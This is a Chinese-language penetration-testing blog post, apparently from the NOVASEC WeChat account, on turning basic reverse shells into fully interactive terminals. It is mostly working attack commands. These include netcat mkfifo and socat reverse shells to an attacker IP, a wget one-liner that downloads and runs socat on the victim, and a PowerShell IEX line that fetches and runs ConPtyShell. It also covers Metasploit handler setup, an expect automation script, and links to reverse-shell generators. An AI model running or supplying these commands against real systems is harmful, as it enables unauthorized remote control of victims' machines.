0x02 Windows完全交互shell
0x03 NC反弹升级msf-shell
3.1 msf接受NC反向shell
3.2 msf接受NC正向shell
0x04 辅助shell生成器
4.1 shell命令生成框架
4.2 msfvenom命令补全
0x05 扩展
#攻击机kALI监听反弹shell
nc -lvp 4444
#在被攻击目标机运行
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 1.1.1.1 4444 >/tmp/f
# 在反向shell内部操作
# 在反向shell内通过python一句话fork个bash
python -c 'import pty; pty.spawn("/bin/bash")'
Ctrl-Z #挂起反向shell #本步骤基本实现普通交互shell
echo $TERM #记录$term变量 #xterm
stty -a #记录stty配置 #可忽略 #rows 39; columns 153;
stty raw -echo
fg #通过fg取回挂起的nc #fg不输出 #运行后回车乱码显示
$ reset #此时已支持ctrl+c #执行命令清屏+正常
$ export SHELL=bash
$ export TERM=xterm-256color
$ stty rows 39 columns 153 #可忽略
https://github.com/Charliedean/NetcatUP
首先获取一个反向shell。
#攻击机使用NetcatUP.sh脚本监听反弹shell
./netcatup.sh 4444
#在目标机器运行反弹shell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 1.1.1.1 4444 >/tmp/f
注意事项:其他的反弹shell语句可能无法升级
#!/usr/bin/expect
lassign $argv arg1 arg2 arg3
log_user 0
set timeout -1
spawn /bin/bash
send "nc -lvp $arg1n"
expect "Connection from"
send "python -c 'import pty; pty.spawn("/bin/bash")'n"
sleep 0.5
send x1A
send "stty raw -echon"
send "fgn"
send "resetn"
send "export SHELL=bashn"
send "export TERM=xterm-256colorn"
send "stty rows `tput lines` columns `tput cols`n"
send "clearn"
interact
send "stty -raw echon"
send "exitn"
exit
NetcatUP.sh报错记录:
./netcatup.sh 4444
执行expect的文件时,报错如下
-bash: ./netcatup.sh: /usr/bin/expect: bad interpreter: No such file or directory
发现是因为没有安装expect就会报错
解决方法如下:
yum install tcl-devel
yum install expect
$ script /dev/null
socat就像服用了类固醇的netcat,是一把非常强大的网络瑞士军刀。可以使用Socat在TCP连接上传递完整的TTY。
如果它安装在受害者服务器上,您可以用它启动一个反向shell。您必须捕获连接,以及获得完整的功能
# socat安装
# yum安装
yum install socat
#独立二进制文件
https://github.com/andrew-d/static-binaries
以下命令将生成一个完全交互式的TTY反向shell:
On Kali (listen):
socat file:`tty`,raw,echo=0 tcp-listen:4444
On Victim (launch):
# 直接运行socat并执行反向shell:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:1.1.1.1:4444
#在未安装socat的机器上一键下载socat并执行反向shell:
wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp: 1.1.1.1:4444
Invoke-ConPtyShell.ps1
https://github.com/antonioCoco/ConPtyShell/blob/master/Invoke-ConPtyShell.ps1
此功能自 Windows 10/Windows 服务器 2019 版本 1809(生成 10.0.17763)以来可用。
stty raw -echo; (stty size; cat) | nc -lvnp 3001
IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell 10.0.0.2 300
经过实际测试发现是可以进行操作的。但是功能没有想象中的强大。也说明一个强大的命令执行还需要客户端内置很多功能,这时候得夸一下CS和MSF等框架payload的强大。
发现一个msf接受nc shell的好处,msf接受shell以后可以直接提供上传下载功能。而直接nc接受是没有上传下载功能的
msf > use multi/handler
msf exploit(handler) > set PAYLOAD php/reverse_php
msf exploit(handler) > set LHOST 1.1.1.1
msf exploit(handler) > set LPORT 4444
msf exploit(handler) > exploit
msf设置常规handler监听
shell可能是尝试直接获取一个msf metpretershell,此处没有测试成功。
3.2 msf接受NC正向shell
本章没有具体的配置,只是根据自己的记录截图猜测一共是handler中不仅仅支持反向shell连接,还支持连接正向shell。
msf 接受 nc bind shell
使用One-Lin3r快速生成反向shell,Privesc
https://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650470579&idx=5&sn=cc261f6284aa2452a4c23e6d8dc57212&chksm=83bb9d57b4cc1441cf48692ebe47a2c3d7602a09cfa726ae2d793837d9bf4ec92361c6605336&mpshare=1&scene=1&srcid=0717t1U2eIhUHLSwJdiM1Y0q&sharer_sharetime=1594967232540&sharer_shareid=c7567a65a5bbf0e355b3a2c26cb13098&key=cf38eb95233a59b0c99311b67771fa2b4ad95e4d6a5915bc7e96784507ce694de3a0efc57dc5cc59da24f57b4983fc9172119133a0f1b18e4d342ddc7ec3935ed669bba049a1fc6e761699262b05f57f&ascene=1&uin=MTgyNzU5NTU2NQ%3D%3D&devicetype=Windows+10+x64&version=62090070&lang=zh_CN&exportkey=A%2BdEO%2B2dTUbkxq8lZ%2Bn0%2BHk%3D&pass_ticket=ad1zLySVS5E5RyYX6V1wDjtrxciMWocUiDhsDYQBMEDJG7w1Tbls5kowfPOEAS6e
revshellgen :Python编写的反弹shell生成器:
https://www.uedbox.com/post/59210/
Shellerator:CLI生成多语言反弹Shell
https://www.uedbox.com/post/65551/
HackTools(如当)红队浏览器插件
https://github.com/s7ckTeam/HackTools
revshellgen反弹shell生成器
Kali 工具 之 Msfvenom 命令自动补全篇
https://mp.weixin.qq.com/s?__biz=MzU1NjgzOTAyMg==&mid=2247484895&idx=1&sn=577466eb53b8fabd99f9467055b039a2&chksm=fc3fbcdecb4835c82bb58d44fef52fef5ef726f671e16d8e468c2029871808d683f166e50e7e&mpshare=1&scene=1&srcid=&sharer_sharetime=1576081809034&sharer_shareid=c64d60c691463b453934f929a7a5676a&key=fc568c7f64229b8f098cf517a41430d13e4fb4fb5e42e74ce0f3ed7b46c784c8de3c71c8b6f8f63691a08b178e3456fcbfe6b80028019a0bdc6b363aba1c6a4d2291fdab67674aa8445e892a612bdea2&ascene=1&uin=MTY4ODA0OTk3MA%3D%3D&devicetype=Windows+10&version=62070158&lang=zh_CN&exportkey=Ay95NNKkj%2BZEeawjjFv1Prk%3D&pass_ticket=z4th%2B%2FOTOmvLA%2BWXYMui4vR3yMvwneHSAE3zLd5KXbvjrYKJtKFc1TCc%2FlrGYGou
#安装zsh
apt-get install zsh
zsh
#安装 oh-my-zsh
sh -c "$(wget https://raw.github.com/robbyrussell/oh-my-zsh/master/tools/install.sh -O -)" #下载安装
chmod+x install.sh && sh install.sh #本地安装
#安装自动补全脚本
git clone https://github.com/Green-m/msfvenom-zsh-completion ~/.oh-my-zsh/custom/plugins/msfvenom/
##查看是否已下载_msfvenom 文件
ls ~/.oh-my-zsh/custom/plugins/msfvenom/
##修改 ~/.zshrc
gedit ~/.zshrc
将其中的 plugins=(git) 改为 plugins=(git msfvenom)
source ~/.zshrc 或 zsh 命令
##测试是否成功
msfvenom [tab键] #按tab键没有任何反应说明失败
##失败解决方案
将这两条命令加到 ~/.zshrc 最后一行
fpath=(~/.zsh/completion$fpath)
autoload-Uzcompinit&&compinit-i
#启用修改
source ~/.zshrc 或 zsh 命令
zsh下mafvenom的命令补全
python FFM 来增强反弹shell
FFM 项目地址:
https://github.com/JusticeRage/FFM
FFM 演示 PPT:
http://manalyzer.org/static/talks/SSTIC2018.pptx
Medicean/SuperTerm:
利用 webshell 创建交互式终端
https://github.com/medicean/superterm
感谢大家对NOVASEC的支持!!!【在看】与【点赞】!!!
参考文献
WebShell下的交互式Shell_白帽子技术/思路_i春秋社区-分享你的技术,为安全加点温度.
https://bbs.ichunqiu.com/thread-43735-1-5.html
- FreeBuf网络安全行业门户
https://www.freebuf.com/news/142195.html
Upgrading Simple Shells to Fully Interactive TTYs
https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/
| Beeeの零碎事
https://www.imbeee.com/2017/12/24/full-functional-reverse-shell/
END
本文始发于微信公众号(NOVASEC):反弹shell之升级交互shell
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论